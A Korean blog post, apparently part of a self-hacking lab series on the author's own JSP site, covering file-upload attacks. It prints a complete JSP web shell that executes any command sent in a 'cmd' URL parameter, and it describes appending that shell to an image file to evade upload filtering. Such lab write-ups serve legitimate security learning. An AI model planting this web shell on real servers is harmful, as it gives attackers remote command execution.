내가 만든 홈페이지 해킹하기(4)
파일 업로드
개발환경 : JSP, Oralce11g
오늘은 파일 업로드를 통해 서버에 쉘을 얻을 수 있는 코드
바로 쉘코드를 서버에 저장시키고 웹 브라우저를 통해 서버의 쉘 명령을 입력해 보도록 하겠다.
먼저 쉘 코드 php로 입력해본다.
Php로 쉘 코드를 입력하여 업로드 후, URL을 따라 들어가면 php 코드가 그대로 노출된다.
홈 페이지를 만들 때 이클립스를 통해 만들어서 jsp를 이용한 웹쉘을 사용해야 될 것으로 보인다.
/* JSP Version URL CMD WebShell */
/* 사용법 : hxxp://URL/cmd.jsp?cmd=명령어 */
<%@ page import="java.io.*" %>
<%
try {
String cmd = request.getParameter("cmd");
Process child = Runtime.getRuntime().exec(cmd);
InputStream in = child.getInputStream();
int c;
while ((c = in.read()) != -1) {
out.print((char)c);
}
in.close();
try {
child.waitFor();
} catch (InterruptedException e) {
e.printStackTrace();
}
} catch (IOException e) {
System.err.println(e);
}
%>
JSP를 이용한 웹 쉘을 업로드해 결과를 확인
DVWA에서 시도해 보았던 image파일에 웹쉘코드를 넣어 업로드 후 접근해보자
먼저 HxD 프로그램을 열고 헥사코드 맨 뒤에 JSP 웹쉘을 다음과 같이 붙여서 저장한다.
업로드 후 url을 통해 접근해 보도록 하자
?를 이용해 파라미터를 넘기면 에러는 안나지만 아무런 반응이 없다.
파일 다운로드 접근으로 파라미터를 넘겨도 오류
음 오류
&를 이용해 file:///를 이용한 URL로 파라미터를 넘겨도 오류
일단 여기까지
안녕하세요, 흥미롭게 잘 보고 갑니다.
혹시 해당 가상머신을 VMX, OVA 등으로 공유 받을 수는 없을까요?